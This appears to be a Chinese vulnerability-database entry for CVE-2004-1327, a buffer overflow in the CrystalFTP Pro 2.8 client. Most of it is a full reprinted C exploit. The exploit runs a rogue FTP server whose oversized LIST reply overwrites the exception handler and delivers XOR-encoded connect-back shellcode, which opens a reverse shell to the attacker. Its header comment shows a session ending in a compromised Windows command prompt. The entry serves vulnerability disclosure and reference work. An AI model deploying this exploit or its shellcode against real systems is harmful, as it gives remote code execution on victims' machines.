Crystal Art Crystal FTP远程客户端缓冲区溢出漏洞

漏洞ID	1108700	漏洞类型	缓冲区溢出
发布时间	2005-04-24	更新时间	2005-10-20
CVE编号	CVE-2004-1327	CNNVD-ID	CNNVD-200412-913
漏洞平台	Windows	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/711
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-913

|漏洞详情

CrystalFTP客户端2.8版本存在缓冲区溢出漏洞。远程恶意服务器可以借助对含有长拓展文件名LIST命令的回复来执行任意代码。

|漏洞EXP

/*
 * CrystalFTP Pro v2.8 Buffer Overflow Exploit
 *
 * 04/25/2005
 *
 * despite the fact that nobody uses CrystalFTP
 * i had to release a new version that replaces
 * the first one.
 *
 * this overwrites the structured exception handler
 * with a "pop edx pop eax ret" in kernel32.dll.
 * this takes us to a pointer of the next SEH.
 * just jmp over the SEH itself and reverse code
 * gets executed.
 *
 * add more targets if needed
 *
 * have phun
 *
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ / _ / ___/ __/ ___/ __ / __ / / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * ___/__, /_.___/___/_/   __/_/   ____/_/ /_/_/___/
 *     /____/
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ local IP: 192.168.2.102
 * --[ incomming connection from:   192.168.2.103
 * --[ sending welcome message...done!
 * --[ getting login information
 * --[ reading USER...done!
 * --[ reading PASS...done!
 *         USER LOGGED IN!
 * --[ proceeding...
 * --[ reading cmd...done!
 * --[ reading cmd...done!
 * --[ reading cmd...done!
 * --[ entering passive mode...
 * --[ passive connection established!
 * --[ reading cmd...done!
 * --[ user is trying to use "LIST" command
 * --[ w00d w00d, let`s kick his ass...
 * --[ sending packet [ 711 bytes ]...done!
 * --[ confirming...done!
 * --[ starting reverse handler [port: 1337]...done!
 * --[ incomming connection from:   192.168.2.103
 * --[ b0x pwned - h4ve phun
 * Microsoft Windows XP [Version 5.1.2600]
 * (C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:crystalFTP>
 *
 */

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

/*
 *
 * definitions
 *
 */

#define RED		"E[31mE[1m"
#define GREEN	"E[32mE[1m"
#define YELLOW	"E[33mE[1m"
#define BLUE	"E[34mE[1m"
#define NORMAL	"E[m"

#define PORT	21
#define PASV	31337
#define BACKLOG	5

/*
 *
 * prototypes
 *
 */

int isip ( char* ip );
int shell ( int s, char* tip, unsigned short cbport );

char* get_cmd ( int s );

void auth ( int s );
void handle_cmd ( int s, int connfd, char* ip );
void header ();
void start_reverse_handler ();

/*********************
 * Windows Shellcode *
 *********************/

/*
 * Type  : connect back shellcode
 * Length: 316 bytes
 * CBIP  : reverseshell[111] ( ^ 0x99999999 )
 * CBPort: reverseshell[118] ( ^ 0x9999 )
 *
 */

unsigned char reverseshell[] =
"xEBx10x5Bx4Bx33xC9x66xB9x25x01x80x34x0Bx99xE2xFA"
"xEBx05xE8xEBxFFxFFxFFx70x62x99x99x99xC6xFDx38xA9"
"x99x99x99x12xD9x95x12xE9x85x34x12xF1x91x12x6ExF3"
"x9DxC0x71x02x99x99x99x7Bx60xF1xAAxABx99x99xF1xEE"
"xEAxABxC6xCDx66x8Fx12x71xF3x9DxC0x71x1Bx99x99x99"
"x7Bx60x18x75x09x98x99x99xCDxF1x98x98x99x99x66xCF"
"x89xC9xC9xC9xC9xD9xC9xD9xC9x66xCFx8Dx12x41xF1xE6"
"x99x99x98xF1x9Bx99x9Dx4Bx12x55xF3x89xC8xCAx66xCF"
"x81x1Cx59xECxD3xF1xFAxF4xFDx99x10xFFxA9x1Ax75xCD"
"x14xA5xBDxF3x8CxC0x32x7Bx64x5FxDDxBDx89xDDx67xDD"
"xBDxA4x10xC5xBDxD1x10xC5xBDxD5x10xC5xBDxC9x14xDD"
"xBDx89xCDxC9xC8xC8xC8xF3x98xC8xC8x66xEFxA9xC8x66"
"xCFx9Dx12x55xF3x66x66xA8x66xCFx91xCAx66xCFx85x66"
"xCFx95xC8xCFx12xDCxA5x12xCDxB1xE1x9Ax4CxCBx12xEB"
"xB9x9Ax6CxAAx50xD0xD8x34x9Ax5CxAAx42x96x27x89xA3"
"x4FxEDx91x58x52x94x9Ax43xD9x72x68xA2x86xECx7ExC3"
"x12xC3xBDx9Ax44xFFx12x95xD2x12xC3x85x9Ax44x12x9D"
"x12x9Ax5Cx32xC7xC0x5Ax71x99x66x66x66x17xD7x97x75"
"xEBx67x2Ax8Fx34x40x9Cx57x76x57x79xF9x52x74x65xA2"
"x40x90x6Cx34x75x60x33xF9x7ExE0x5FxE0";

unsigned char head[] =
"x2dx72x77x2dx72x2dx2dx72x2dx2dx20x20x20x20x20x20"
"x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20"
"x20x20x20x20x20x20x20x20x32x39x20x44x65x63x20x32"
"x32x20x31x33x3ax33x37x20x63x79x62x65x72x74x72x6f"
"x6ex69x63x2e";

char* argv3 = NULL;

/*
 *
 * functions
 *
 */

int
isip ( char* ip )
{
	unsigned int a, b, c, d;

	sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d );
	if ( a < 1 || a > 255 )
		return ( 1 );
	if ( b < 0 || b > 255 )
		return ( 1 );
	if ( c < 0 || c > 255 )
		return ( 1 );
	if ( d < 0 || d > 255 )
		return ( 1 );
	return ( 0 );
}

int
shell ( int s, char* tip, unsigned short cbport )
{
	int n;
	char buffer[2048];
	fd_set fd_read;

	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "n" );

	FD_ZERO ( &fd_read );
	FD_SET ( s, &fd_read );
	FD_SET ( 0, &fd_read );

	while ( 1 )
	{
		FD_SET ( s, &fd_read );
		FD_SET ( 0, &fd_read );

		if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
			break;
		if ( FD_ISSET ( s, &fd_read ) )
		{
			if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
			if ( write ( 1, buffer, n ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
		}
		if ( FD_ISSET ( 0, &fd_read ) )
		{
			if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
			if ( send ( s, buffer, n, 0 ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
		}
		usleep(10);
	}
}

char*
get_cmd ( int s )
{
	static char cmd[32];
	printf ( "--[" YELLOW " reading cmd..." NORMAL );
	if ( read ( s, cmd, 32 ) <= 0 )
	{
		printf ( RED "failed!n" NORMAL);
		exit ( 1 );
	}
	printf ( GREEN "done!n" NORMAL );
	return ( cmd );
}

void
auth ( int s )
{
	char user[32], pass[32], out[128];

	printf ( "--[ sending welcome message..." );
	bzero ( &out, 128 );
	strcpy ( out, "220 cybertronicFTP v0.2rn" );
	if ( write ( s, out, strlen ( out ) ) <= 0 )
	{
		printf ( RED "twrite failed!n" NORMAL );
		exit ( 1 );
	}
	printf ( GREEN "done!n" NORMAL );
	printf ( "--[ getting login informationn" );
	printf ( "--[" YELLOW " reading USER..." NORMAL );
	sleep ( 1 );
	if ( read ( s, user, 32 ) <= 0 )
	{
		printf ( RED "failed!n" NORMAL );
		exit ( 1 );
	}
	printf ( GREEN "done!n" NORMAL );
	sleep ( 1 );
	bzero ( &out, 128 );
	strcpy ( out, "331 Anonymous FTP serverrn" );
	if ( write ( s, out, strlen ( out ) ) <= 0 )
	{
		printf ( RED "twrite failed!n" NORMAL );
		exit ( 1 );
	}
	printf ( "--[" YELLOW " reading PASS..." NORMAL );
	sleep ( 1 );
	if ( read ( s, pass, 32 ) <= 0 )
	{
		printf ( RED "failedn" NORMAL );
		exit ( 1 );
	}
	printf ( GREEN "done!n" NORMAL );
	sleep ( 1 );
	bzero ( &out, 128 );
	strcpy ( out, "230 Login successful!rn" );
	if ( write ( s, out, strlen ( out ) ) <= 0 )
	{
		printf ( RED "twrite failed!n" NORMAL );
		exit ( 1 );
	}
	printf ( GREEN "tUSER LOGGED IN!n" NORMAL );
	printf ( "--[ proceeding...n" );
}

void
handle_cmd ( int s, int s2, char* ip )
{
	int listenfd, connfd;
	int i = 1;
	int tmp[4];
	unsigned long ret = 0x77ea5794;		//edx eax ret	in kernel32.dll
	char* a = NULL;
	char* cmd;
	char out[128], buffer[1024], addr[32];
	pid_t childpid;
	socklen_t clilen;
	struct sockaddr_in cliaddr, servaddr;

	while ( 1 )
	{
		cmd = get_cmd ( s );
		if ( strncmp ( cmd, "PWD", 3 ) == 0 )
		{
			bzero ( &out, 128 );
			strcpy ( out, "257 "/" is current directory.rn" );
			if ( write ( s, out, strlen ( out ) ) <= 0 )
			{
				printf ( RED "twrite failed!n" NORMAL );
				exit ( 1 );
			}
		}
		else if ( strncmp ( cmd, "CWD", 3 ) == 0 )
		{
			bzero ( &out, 128 );
			strcpy ( out, "257 "/" is current directory.rn" );
			if ( write ( s, out, strlen ( out ) ) <= 0 )
			{
				printf ( RED "twrite failed!n" NORMAL );
				exit ( 1 );
			}
		}
		else if ( strncmp ( cmd, "TYPE", 4 ) == 0 )
		{
			bzero ( &out, 128 );
			strcpy ( out, "200 Type set to A..rn" );
			if ( write ( s, out, strlen ( out ) ) <= 0 )
			{
				printf ( RED "twrite failed!n" NORMAL );
				exit ( 1 );
			}
		}
		else if ( strncmp ( cmd, "PASV", 4 ) == 0 )
		{
			bzero ( &addr, 32 );
			a = ( char* ) strtok ( ip, "." );
			tmp[0] = ( int ) a;
			while ( a != NULL )
			{
				a = ( char* ) strtok ( NULL, "." );
				tmp[i] = ( int )a;
				i++;
			}
			bzero ( &out, 128 );
			sprintf( out, "227 Entering Passive Mode. (%s,%s,%s,%s,122,105).rn", tmp[0], tmp[1], tmp[2], tmp[3] );
			if ( write ( s, out, strlen ( out ) ) <= 0 )
			{
				printf ( RED "twrite failed!n" NORMAL );
				exit ( 1 );
			}
			printf ( "--[ entering passive mode...n" );
			if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
			{
        			printf ( RED "socket failed!n" NORMAL );
        			exit ( 1 );
			}
			bzero ( &servaddr, sizeof ( servaddr ) );
			servaddr.sin_family = AF_INET;
			servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
			servaddr.sin_port = htons ( PASV );
			bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
			if ( listen ( listenfd, 1 ) == -1 )
			{
				printf ( RED "listen failed!n" NORMAL );
				exit ( 1 );
			}
			clilen = sizeof ( cliaddr );
			if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
			{
				close ( listenfd );
				printf ( RED "accept failed!n" NORMAL );
				exit ( 1 );
			}
			close ( listenfd );
			printf ( "--[" GREEN " passive connection established!n" NORMAL );
			handle_cmd ( s, connfd, addr );
		}
		else if ( strncmp ( cmd, "LIST", 4 ) == 0 )
		{
			printf ( "--[" GREEN " user is trying to use "LIST" commandn" NORMAL );
			printf ( "--[ w00d w00d, let`s kick his ass...n" );
			bzero ( &buffer, 1024 );
			memcpy ( buffer, head, sizeof ( head ) - 1 );
			memset ( buffer + 68, 0x90, 255 );
			memcpy ( buffer + 321, "xebx46", 2 );
			strncat ( buffer, ( unsigned char * ) &ret, 4 );
			memset ( buffer + 327, 0x90, 66 );
			memcpy ( buffer + 393, reverseshell, sizeof ( reverseshell ) - 1 );
			strcat ( buffer, "rn" );
			bzero ( &out, 128 );
			strcpy ( out, "150 Here comes the directory listing.rn" );
			if ( write ( s, out, strlen ( out ) ) <= 0 )
			{
				printf ( RED "twrite failed!n" NORMAL );
				exit ( 1 );
			}
			printf ( "--[ sending packet [ %d bytes ]...", strlen ( buffer ) );
			if ( write ( s2, buffer, strlen ( buffer ) ) <= 0 )
			{
				printf ( RED "twrite failed!n" NORMAL );
				exit ( 1 );
			}
			printf ( GREEN "done!n" NORMAL);
			bzero ( &out, 128 );
			strcpy ( out, "226 Transfer okrn" );
			printf ( "--[ confirming..." );
			if ( write ( s, out, strlen ( out ) ) <= 0 )
			{
				printf ( RED "twrite failed!n" NORMAL );
				exit ( 1 );
			}
			printf ( GREEN "done!n" NORMAL);
			close ( s2 );
			start_reverse_handler ( argv3 );
		}
		else
		{
			bzero ( &out, 128 );
			strcpy ( out, "550 command not supportedrn" );
			if ( write ( s, out, strlen ( out ) ) <= 0 )
			{
				printf ( RED "twrite failed!n" NORMAL );
				exit ( 1 );
			}
		}
	}
}

void
header ()
{
	printf ( "              __              __                   _           n" );
	printf ( "  _______  __/ /_  ___  _____/ /__________  ____  (_)____      n" );
	printf ( " / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/  n" );
	printf ( "/ /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__        n" );
	printf ( "\___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/  n" );
	printf ( "    /____/                                                     nn" );
	printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]netn" );
}

void
start_reverse_handler ()
{
	int s1, s2;
	unsigned short cbport;
	struct sockaddr_in cliaddr, servaddr;
	socklen_t clilen = sizeof ( cliaddr );

	sscanf ( argv3, "%u", &cbport );
	
	bzero ( &servaddr, sizeof ( servaddr ) );
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
	servaddr.sin_port = htons ( cbport );

	printf ( "--[ starting reverse handler [port: %u]...", cbport );
	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
	{
		printf ( "socket failed!n" );
		exit ( 1 );
	}
	bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
	if ( listen ( s1, 1 ) == -1 )
	{
		printf ( "listen failed!n" );
		exit ( 1 );
	}
	printf ( YELLOW "done!n" NORMAL);
	if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
	{
		printf ( "accept failed!n" );
		exit ( 1 );
	}
	close ( s1 );
	printf ( "--[" GREEN " incomming connection from:t" YELLOW " %sn" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
	shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
	close ( s2 );
}

int
main ( int argc, char* argv[] )
{
	int listenfd, connfd;
	unsigned long xoredip;
	unsigned short xoredcbport;
	char* ip;
	pid_t childpid;
	socklen_t clilen;
	struct sockaddr_in cliaddr, servaddr;

	if ( argc != 3 )
	{
		printf ( RED "--[ usage: %s <connectback ip> <connectback port>n" NORMAL, argv[0] );
		exit ( 1 );
	}
	if ( isip ( argv[1] ) != 0 )
	{
		printf ( RED "--[ enter a valid IPn" NORMAL );
		exit ( 1 );
	}
	system ( "clear" );
	header ();
	argv3 = argv[2];
	xoredip = inet_addr ( argv[1] ) ^ ( unsigned long ) 0x99999999;
	xoredcbport = htons ( atoi ( argv[2] ) ) ^ ( unsigned short ) 0x9999;
	memcpy ( &reverseshell[111], &xoredip, 4);
	memcpy ( &reverseshell[118], &xoredcbport, 2);
	if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
	{
        	printf ( RED "socket failed!n" NORMAL );
        	exit ( 1 );
	}
	bzero ( &servaddr, sizeof ( servaddr ) );
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
	servaddr.sin_port = htons ( PORT );
	bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
	if ( listen ( listenfd, BACKLOG ) == -1 )
	{
		printf ( RED "listen failed!n" NORMAL );
		exit ( 1 );
	}
	for ( ; ; )
	{
		clilen = sizeof ( cliaddr );
		if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
		{
			close ( listenfd );
			printf ( RED "accept failed!n" NORMAL );
			exit ( 1 );
		}
		if ( ( childpid = fork ( ) ) == 0 )
		{
			close ( listenfd );
			ip = ( char* ) ( argv[1] );
			printf ( "--[ local IP: %sn", ip );
			printf ( "--[" GREEN " incomming connection from:t" YELLOW " %sn" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
			auth ( connfd );
			handle_cmd ( connfd, ( int ) NULL, ip );
		}
		close ( connfd );
	}
}

// milw0rm.com [2005-04-24]

|参考资料

来源:XF
名称:crystal-ftp-list-bo(18594)
链接:http://xforce.iss.net/xforce/xfdb/18594
来源:BID
名称:12038
链接:http://www.securityfocus.com/bid/12038
来源:SECUNIA
名称:13583
链接:http://secunia.com/advisories/13583/
来源:BUGTRAQ
名称:20041220CrystalFTPProClientBufferOverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110356203624337&w;=2

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